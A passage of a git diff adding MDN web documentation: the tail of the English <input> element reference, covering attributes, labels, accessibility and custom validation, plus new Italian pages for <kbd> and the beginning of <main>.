+<p>The {{domxref("Element.id", "id")}} of a {{HTMLElement("datalist")}} element located in the same document which provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the {{htmlattrxref("type", "input")}} are not included in the suggested options.</p>
+
+<p>The <code>list</code> attribute is not supported by the <code>hidden</code>, <code>password</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or any of the button types.</p>
+
+<h4 id="htmlattrdefname">{{htmlattrdef("name")}}</h4>
+
+<p>A string specifying a name for the input control. This name is submitted along with the control's value when the form data is submitted, as well as with the owning {{HTMLElement("form")}} element's {{domxref("HTMLFormElement.elements", "elements")}} object.</p>
+
+<p>When an input element is given a <code>name</code>, that name becomes a property of the owning form element's {{domxref("HTMLFormElement.elements")}} property. That means if you have an input whose <code>name</code> is set to <code>guest</code> and another whose <code>name</code> is <code>hat-size</code>, the following code can be used:</p>
+
+<pre class="brush: js">let form = document.querySelector("form");
+let guestName = form.elements.guest;
+let hatSize = form.elements["hat-size"];
+</pre>
+
+<p>When this code has run, <code>guestName</code> will be the {{domxref("HTMLInputElement")}} for the <code>guest</code> field, and <code>hatSize</code> the object for the <code>hat-size</code> field.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> You should avoid giving form elements a <code>name</code> that corresponds to a built-in property of the form, since you would then override the predefined property or method with this reference to the corresponding input.</p>
+</div>
+
+<p>The name <code>_charset_</code> has a special meaning. If used as the name of an <code>&lt;input&gt;</code> element of type <code><a href="/en-US/docs/Web/HTML/Element/input/hidden">hidden</a></code>, the input's <code>value</code> is automatically set by the {{Glossary("user agent")}} to the character encoding being used to submit the form.</p>
+
+<p>If no <code>name</code> is specified, or <code>name</code> is empty, the input's value is not submitted with the form.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For historical reasons, the name <code>isindex</code> is not allowed. If you really want to know why, see <a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fe-name">Naming form controls: the <code>name</code> attribute</a> in the HTML specification.</p>
+</div>
+
+<h4 id="htmlattrdefreadonly">{{htmlattrdef("readonly")}}</h4>
+
+<p>A Boolean attribute which, if present, indicates that the user should not be able to edit the value of the input.</p>
+
+<p>The difference between <code>disabled</code> and <code>readonly</code> is that read-only controls can still function, whereas disabled controls generally do not function as controls until they are enabled.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> The <code>required</code> attribute is not permitted on inputs with the <code>readonly</code> attribute specified.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Only text controls can be made read-only, since for other controls (such as checkboxes and buttons) there is no useful distinction between being read-only and being disabled, so the <code>readonly</code> attribute does not apply.</p>
+</div>
+
+<h4 id="htmlattrdefrequired">{{htmlattrdef("required")}}</h4>
+
+<p><code>required</code> is a Boolean attribute which, if present, indicates that the user must specify a value for the input before the owning form can be submitted. The <code>required</code> attribute is supported by all input types <em>except the following</em>:</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/color">color</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/hidden">hidden</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/range">range</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/submit">submit</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/image">image</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/reset">reset</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/button">button</a></code></li>
+</ul>
+</div>
+
+<p>When an input has the <code>required</code> attribute, the {{cssxref(":required")}} pseudo-class also applies to it. Conversely, inputs without the <code>required</code> attribute (except the elements that don't support it) have the {{cssxref(":optional")}} pseudo-class applied.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Because a read-only field cannot have a value, <code>required</code> does not have any effect on inputs with the {{htmlattrxref("readonly", "input/text")}} attribute also specified.</p>
+</div>
+
+<h4 id="htmlattrdeftabindex">{{htmlattrdef("tabindex")}}</h4>
+
+<p>An optional numeric value that defines both whether or not the input should be focusable through use of the <kbd>Tab</kbd> key as well as whether or not the element participates in sequential focus navigation. This value also establishes the order in which the element is reached using the <kbd>Tab</kbd> key.</p>
+
+<p>The values of <code>tabindex</code> have special meanings depending on sign:</p>
+
+<ul>
+ <li>A negative value of <code>tabindex</code> indicates that the element should be focusable by the user, but not using sequential keyboard navigation. It's recommended to always use a value of -1 as using other values can be complicated.</li>
+ <li>A <code>tabindex</code> of 0 means that the element should be focusable and should be reachable by sequential keyboard navigation, but that the tab order is left up to the {{Glossary("user agent")}}, which should apply the user's platform conventions. This is usually the best value to use when you want an element to be focusable and to participate in keyboard navigation rather than trying to manage the tab order yourself.</li>
+ <li>A positive value of <code>tabindex</code> indicates the tabbing order of the element. Each time the user presses the <kbd>Tab</kbd> key, the element with the next sequentially higher <code>tabindex</code> is focused. Most platforms provide a reverse-tab feature, typically using the combination of <kbd>Shift</kbd> + <kbd>Tab</kbd>, which reverses the tabbing order.</li>
+</ul>
+
+<p>If <code>tabindex</code> is omitted or is not a valid integer, the user agent follows platform conventions to determine what to do.</p>
+
+<h4 id="htmlattrdeftype">{{htmlattrdef("type")}}</h4>
+
+<p>A string specifying the type of control to render. For example, to create a checkbox, a value of <code>checkbox</code> is used. If omitted (or an unknown value is specified), the input type <code>text</code> is used, creating a plaintext input field.</p>
+
+<p>Permitted values are listed in {{anch("Form &lt;input&gt; types")}}.</p>
+
+<h4 id="htmlattrdefvalue">{{htmlattrdef("value")}}</h4>
+
+<p>The input control's value. When specified in the HTML, this is the initial value, and from then on it can be altered or retrieved at any time using JavaScript to access the respective {{domxref("HTMLInputElement")}} object's <code>value</code> property. The <code>value</code> attribute is always optional.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Unlike other input controls, checkboxes and radio buttons are only included in the submitted data if the checkbox or radio button is currently <code>checked</code>. If it is, then the <code>value</code> attribute is reported as the input's value.</p>
+
+<p>For example, if a checkbox whose <code>name</code> is <code>status</code> has a <code>value</code> of <code>active</code>, and the checkbox is checked, the form data submitted will include <code>status=active</code>. If the checkbox isn't active, it isn't listed in the form data at all. The default <code>value</code> for checkboxes and radio buttons is <code>on</code>.</p>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p>The following methods are provided by the {{domxref("HTMLInputElement")}} interface which represents <code>&lt;input&gt;</code> elements in the DOM. Also available are those methods specified by the parent interfaces, {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}}, and {{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.checkValidity", "checkValidity()")}}</dt>
+ <dd>Immediately runs the validity check on the element, triggering the document to fire the {{domxref("HTMLInputElement.invalid_event", "invalid")}} event at the element if the value isn't valid.</dd>
+ <dt>{{domxref("HTMLInputElement.reportValidity", "reportValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's value passes validity checks; otherwise, returns <code>false</code>.</dd>
+ <dt>{{domxref("HTMLInputElement.select", "select()")}}</dt>
+ <dd>Selects the entire content of the <code>&lt;input&gt;</code> element, if the element's content is selectable. For elements with no selectable text content (such as a visual color picker or calendar date input), this method does nothing.</dd>
+ <dt>{{domxref("HTMLInputElement.setCustomValidity", "setCustomValidity()")}}</dt>
+ <dd>Sets a custom message to display if the input element's value isn't valid.</dd>
+ <dt>{{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}</dt>
+ <dd>Sets the contents of the specified range of characters in the input element to a given string. A <code>selectMode</code> parameter is available to allow controlling how the existing content is affected.</dd>
+ <dt>{{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}</dt>
+ <dd>Selects the specified range of characters within a textual input element. Does nothing for inputs which aren't presented as text input fields.</dd>
+ <dt>{{domxref("HTMLInputElement.stepDown", "stepDown()")}}</dt>
+ <dd>Decrements the value of a numeric input by one, by default, or by the specified number of units.</dd>
+ <dt>{{domxref("HTMLInputElement.stepUp", "stepUp()")}}</dt>
+ <dd>Increments the value of a numeric input by one or by the specified number of units.</dd>
+</dl>
+
+<h2 id="Styling_input_elements">Styling input elements</h2>
+
+<p>You can style <code>&lt;input&gt;</code> elements using various color-related attributes in particular. One unusual one that is specific to text entry-related elements is the CSS {{cssxref("caret-color")}} property, which lets you set the color used to draw the text input caret:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label for="textInput"&gt;Note the red caret:&lt;/label&gt;
+&lt;input id="textInput" class="custom" size="32"&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input.custom {
+  caret-color: red;
+  font: 16px "Helvetica", "Arial", "sans-serif"
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Styling_input_elements', 500, 80)}}</p>
+
+<p>For more information about adding color to elements in HTML, see <a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a>.</p>
+
+<h2 id="Labels_and_placeholders">Labels and placeholders</h2>
+
+<div class="note">
+<p><strong>TL;DR:</strong> To save you time, here's the key point: don't use the {{htmlattrxref("placeholder", "input")}} attribute if you can avoid it. If you need to label an <code>&lt;input&gt;</code> element, use the {{HTMLElement("label")}} element.</p>
+</div>
+
+<p>There are three seemingly similar ways to associate assistive text with an <code>&lt;input&gt;</code>. However, they are actually quite different, and only one of them is always a good choice. Here we will look at each of them and learn best practices for providing the user with guidance when entering data into a form.</p>
+
+<h3 id="The_&lt;label>_element">The &lt;label&gt; element</h3>
+
+<p>The {{HTMLElement("label")}} element is the only way to provide explanatory information about a form field that is <em>always</em> appropriate (aside from any layout concerns you have). It's never a bad idea to use a <code>&lt;label&gt;</code> to explain what should be entered into an <code>&lt;input&gt;</code> or {{HTMLElement("textarea")}}.</p>
+
+<h3 id="The_placeholder_attribute">The placeholder attribute</h3>
+
+<p>The {{htmlattrxref("placeholder", "input")}} attribute lets you specify a text that appears within the <code>&lt;input&gt;</code> element's content area itself when empty. It's intended to be used to show an example input, rather than an explanation or prompt, but tends to be badly misused.</p>
+
+<p>Here are two inputs that take a password, each with a placeholder:</p>
+
+<p><img alt="Example of correct and incorrect placeholder usage" src="https://mdn.mozillademos.org/files/16094/placeholder-badgood.png" style="border-style: solid; border-width: 1px; height: 66px; width: 230px;"></p>
+
+<p>The first one uses a placeholder string <code>MyGr8P@sswrd</code>, demonstrating what a password might look like. And no, that's not <em>really</em> a great password.</p>
+
+<p>The second one uses a prompt string, <code>Enter your password</code> as a placeholder. The first, and most obvious, problem with doing this is that as soon as the user types their first character, they no longer have a prompt explaining what that field is for.</p>
+
+<p>That's why, instead, you should use the {{HTMLElement("label")}} element. The placeholder should never be required in order to understand your forms. While some people are able to remember what a given empty box is meant for after its only identifying text vanishes, others cannot.</p>
+
+<p>If the user can't understand your form if the placeholders are missing (say, in a browser that doesn't support <code>placeholder</code>, or in the case above where the user starts typing then gets confused), you're not using placeholders properly.</p>
+
+<p>In addition, browsers with automatic page translation features may skip over attributes when translating. That means the <code>placeholder</code> may not get translated, resulting in important information not being translated.</p>
+
+<p>If you feel like you need to use a placeholder, it's possible to use both a placeholder and a label:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16110/label-and-placeholder.png" style="border-style: solid; border-width: 1px; height: 48px; width: 234px;"></p>
+
+<h3 id="Unadorned_text_adjacent_to_the_&lt;input>_element">Unadorned text adjacent to the &lt;input&gt; element</h3>
+
+<p>You can also just have plain text adjacent to the <code>&lt;input&gt;</code> element, like this:</p>
+
+<pre class="brush: html">&lt;p&gt;Enter your name: &lt;input id="name" type="text" size="30"&gt;&lt;/p&gt;</pre>
+
+<p>Please don't do this. This doesn't create a relationship between the prompt and the <code>&lt;input&gt;</code> element, which is important for reasons we'll get into in the next section.</p>
+
+<h3 id="Why_you_should_use_labels">Why you should use labels</h3>
+
+<p>In addition to the information provided above, there are a number of other reasons why <code>&lt;label&gt;</code> is the best way to explain <code>&lt;input&gt;</code>s:</p>
+
+<ul>
+ <li>The semantic pairing of <code>&lt;input&gt;</code> and <code>&lt;label&gt;</code> elements is useful for assistive technologies such as screen readers. By pairing them using the <code>&lt;label&gt;</code>'s {{htmlattrxref("for", "label")}} attribute, you bond the label to the input in a way that lets screen readers describe inputs to users more precisely.</li>
+ <li>By pairing a <code>&lt;label&gt;</code> with an <code>&lt;input&gt;</code>, clicking on either one will focus the <code>&lt;input&gt;</code>. If you use plaintext to "label" your input, this won't happen. Having the prompt part of the activation area for the input is helpful for people with motor control conditions.</li>
+ <li>As web developers, it's important that we never assume that people will know all the things that we know. The diversity of people using the web—and by extension your web site—practically guarantees that some of your site's visitors will have some variation in thought processes and/or circumstances that leads them to interpret your forms very differently from you without clear and properly-presented labels.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>You can find multiple examples of <code>&lt;input&gt;</code> element usage on the pages covering each individual type — see {{anch("Form &lt;input&gt; types")}}, and also see the {{anch("Live example")}} at the top of the article.</p>
+
+<h2 id="Technical_summary">Technical summary</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, listed, submittable, resettable, form-associated element, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>. If the {{htmlattrxref("type", "input")}} is not <code>hidden</code>, then labelable element, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>None, it is an {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>Must have a start tag and must not have an end tag.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>
+    <ul>
+     <li><code>type=button</code>: {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</li>
+     <li><code>type=checkbox</code>: {{ARIARole("button")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("option")}}, {{ARIARole("switch")}}</li>
+     <li><code>type=image</code>: {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}</li>
+     <li><code>type=radio</code>: {{ARIARole("menuitemradio")}}</li>
+     <li><code>type=color|date|datetime|datetime-local|email|file</code>: None</li>
+     <li><code>type=hidden|month|number|password|range|reset</code>: None</li>
+     <li><code>type=search|submit|tel|text|url|week</code>: None</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','&lt;input capture&gt;')}}</td>
+   <td>{{Spec2('HTML Media Capture')}}</td>
+   <td>Adds the <code>capture</code> attribute</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<h3 id="Labels">Labels</h3>
+
+<p>When including inputs, it is recommended to add labels along side. This is so those who use assistive technologies can tell what the input is for. For more information about labels in general see {{anch("Labels and placeholders")}} .</p>
+
+<p>The following is an example of how to associate the <code>&lt;label&gt;</code> with an <code>&lt;input&gt;</code> element in the above style. You need to give the <code>&lt;input&gt;</code> an <code>id</code> attribute. The <code>&lt;label&gt;</code> then needs a <code>for</code> attribute whose value is the same as the input's <code>id</code>.</p>
+
+<pre>&lt;label for="peas"&gt;Do you like peas?&lt;/label&gt;
+&lt;input type="checkbox" name="peas" id="peas"&gt;
+</pre>
+
+<h3 id="Size">Size</h3>
+
+<p>Interactive elements such as form input should provide an area large enough that it is easy to activate them. This helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. A minimum interactive size of 44 by 44 <a href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels">CSS pixels</a> is recommended.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Understanding Success Criterion 2.5.5: Target Size | W3C Understanding WCAG 2.1</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Target Size and 2.5.5 | Adrian Roselli</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Quick test: Large touch targets - The A11Y Project</a></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<div>{{Compat("html.elements.input")}}</div>
+
+<p>[1] It is recognized but there is no UI.</p>
+
+<p>[2] Missing for <code>type="checkbox"</code> and <code>type="radio"</code>.</p>
+
+<p>[3] In Safari <code>autocapitalize="words"</code> capitalizes every word's second character.</p>
+
+<p>[4] <code>datetime</code> has been removed from the spec and browsers in favour of <code>datetime-local</code>.</p>
+
+<p>[5] see {{bug(1355389)}}</p>
+
+<p>[6] Not yet implemented. For progress, see {{bug("888320")}} and <a href="https://wiki.mozilla.org/TPE_DOM/Date_time_input_types">TPE DOM/Date time input types</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Custom_error_messages">Custom error messages</h3>
+
+<p>If you want to present a custom error message when a field fails to validate, you need to use the <a href="/en-US/docs/Web/API/Constraint_validation#Constraint_validation_interfaces">Constraint validation features</a> available on <code>&lt;input&gt;</code> (and related) elements. Take the following form:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="name"&gt;Enter username (upper and lowercase letters): &lt;/label&gt;
+  &lt;input type="text" name="name" id="name" required pattern="[A-Za-z]+"&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>The basic HTML form validation features will cause this to produce a default error message if you try to submit the form with either no valid filled in, or a value that does not match the <code>pattern</code>.</p>
+
+<p>If you wanted to instead display custom error messages, you could use JavaScript like the following:</p>
+
+<pre class="brush: js">const nameInput = document.querySelector('input');
+const form = document.querySelector('form');
+
+nameInput.addEventListener('input', () =&gt; {
+  nameInput.setCustomValidity('');
+  nameInput.checkValidity();
+});
+
+nameInput.addEventListener('invalid', () =&gt; {
+  if(nameInput.value === '') {
+    nameInput.setCustomValidity('Enter your username!');
+  } else {
+    nameInput.setCustomValidity('Usernames can only contain upper and lowercase letters. Try again!');
+  }
+});</pre>
+
+<p>The example renders like so:</p>
+
+<p>{{EmbedLiveSample('Custom_error_messages')}}</p>
+
+<p>In brief:</p>
+
+<ul>
+ <li>We check the valid state of the input element every time its value is changed by running the <code>checkValidity()</code> method via the <code>input</code> event handler.</li>
+ <li>If the value is invalid, an <code>invalid</code> event is raised, and the <code>invalid</code> event handler function is run. Inside this function we work out whether the value is invalid because it is empty, or because it doesn't match the pattern, using an <code>if()</code> block, and set a custom validity error message.</li>
+ <li>As a result, if the input value is invalid when the submit button is pressed, one of the custom error messages will be shown.</li>
+ <li>If it is valid, it will submit as you'd expect. For this to happen, the custom validity has to be cancelled, by invoking <code>setCustomValidity()</code> with an empty string value. We therefore do this every time the <code>input</code> event is raised. If you don't do this, and a custom validity was previously set, the input will register as invalid, even if it current contains a valid value on submission.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Firefox supported a proprietary error attribute — <code>x-moz-errormessage</code> — for many versions, which allowed you set custom error messages in a similar way. This has been removed as of version 66 (see {{bug(1513890)}}).</p>
+</div>
+
+<h3 id="Localization">Localization</h3>
+
+<p>The allowed inputs for certain &lt;input&gt; types depend on the locale. In some locales, 1,000.00 is a valid number, while in other locales the valid way to enter this number is 1.000,00.</p>
+
+<p>Firefox uses the following heuristics to determine the locale to validate the user's input (at least for <code>type="number"</code>):</p>
+
+<ul>
+ <li>Try the language specified by a <code>lang</code>/<code>xml:lang</code> attribute on the element or any of its parents.</li>
+ <li>Try the language specified by any Content-Language HTTP header or</li>
+ <li>If none specified, use the browser's locale.</li>
+</ul>
+
+<h3 id="Using_mozactionhint_on_Firefox_mobile">Using mozactionhint on Firefox mobile</h3>
+
+<p>You can use the {{htmlattrxref("mozactionhint", "input")}} attribute to specify the text for the label of the enter key on the virtual keyboard when your form is rendered on Firefox mobile. For example, to have a "Next" label, you can do this:</p>
+
+<pre class="brush: html">&lt;input type="text" mozactionhint="next"&gt;
+</pre>
+
+<p>The result is:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/3251/mozactionhint.png" style="border-style: solid; border-width: 1px; height: 400px; width: 240px;"></p>
+
+<p>Note the "Next" key in the lower-right corner of the keyboard.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Form constraint validation</a></li>
+ <li><a class="external" href="http://webdesignerwall.com/tutorials/cross-browser-html5-placeholder-text">Cross-browser HTML5 placeholder text</a></li>
+ <li>The CSS {{cssxref("caret-color")}} property</li>
+ <li>In certain cases (typically involving non-textual inputs and specialized interfaces), the <code>&lt;input&gt;</code> element is a <a href="/en-US/docs/Web/CSS/Replaced_element">replaced element</a>. When it is, the position and size of the element's size and positioning within its frame can be adjusted using the CSS {{cssxref("object-position")}} and {{cssxref("object-fit")}} properties</li>
+</ul>
diff --git a/files/it/web/html/element/kbd/index.html b/files/it/web/html/element/kbd/index.html
new file mode 100644
index 0000000000..2a0d73948f
--- /dev/null
+++ b/files/it/web/html/element/kbd/index.html
@@ -0,0 +1,153 @@
+---
+title: <kbd>
+slug: Web/HTML/Element/kbd
+translation_of: Web/HTML/Element/kbd
+---
+<p>L'<strong>elemento HTML <code>&lt;kbd&gt;</code> </strong>rappresenta l'input dell'utente e produce un elemento inline visualizzato dal browser con il font a spaziatura fissa predefinito.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Contenuto di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenuto di enunciazione</a>, contenuto interattivo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>Contentuto di enunciazione.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Qualunque elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenuti di enunciazione.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Tutti</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}} Fino a Gecko 1.9.2 (Firefox 4) incluso, Firefox implementa l'interfaccia {{domxref("HTMLSpanElement")}} per questo elemento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento supporta solamente gli <a href="/en-US/docs/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;p&gt;Digita questo comando nella finestra Run:
+  &lt;kbd&gt;cmd&lt;/kbd&gt;&lt;br /&gt; e premi il pulsante OK.&lt;/p&gt;
+
+&lt;p&gt;Salva il documento premendo
+&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Examples', 350, 120) }}</p>
+
+<h2 id="Note">Note</h2>
+
+<p>È possibile definire una regola CSS per ignorare il font predefinito del browser. Alcune preferenze stabilite dall'utente possono avere la precedenza su quelle specificate dal CSS.</p>
+
+<p>Quando l'elemento<code> &lt;kbd&gt;</code> è posizionato dentro un elemento <code>&lt;samp&gt;</code>,  rappresenta l'input basato sull'output del sistema, per esempio invocando una voce di menù.<br>
+  </p>
+
+<p>Quando un elemento <code>&lt;kbd&gt;</code> è posizionato dentro un altro elemento <code>&lt;kbd&gt;,</code> rappresenta un tasto o un altra singola unità di input dipendente dal meccanismo di inserimento.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aggiornato per includere qualunque input da parte dell'utente, ad esempio input vocale e singole battiture.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{htmlelement("code")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/main/index.html b/files/it/web/html/element/main/index.html
new file mode 100644
index 0000000000..a70b85ea93
--- /dev/null
+++ b/files/it/web/html/element/main/index.html
@@ -0,0 +1,154 @@
+---
+title: <main>
+slug: Web/HTML/Element/main
+tags:
+  - Elemento
+  - HTML
+  - Reference
+  - Referenza
+  - Web
+  - main
+translation_of: Web/HTML/Element/main
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <code>&lt;main&gt;</code></strong> rappresenta il contenuto principale del {{HTMLElement("body")}} di un documento o di un'applicazione. L'area principale consiste di un contenuto che è direttamente in relazione con, o si estende su, il tema centrale di un documento o la funzionalità centrale di un'applicazione. Tale contenuto dovrebbe essere unico all'interno del documento, ad esclusione di qualsiasi contenuto che si ripete attraverso una serie di documenti quali potrebbero essere le barre laterali, link di navigazione, informazioni di copyright, loghi e moduli di ricerca (a meno che, ovviamente, la funzione principale del documento sia lo stesso modulo di ricerca).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <strong>Non deve</strong> esserci più di un elemento <code>&lt;main&gt;</code> all'interno di un documento, e <strong>non deve</strong> essere un discendente di un elemento {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, o {{HTMLElement("nav")}}.</p>
+</div>
+
+<ul class="htmlelt">
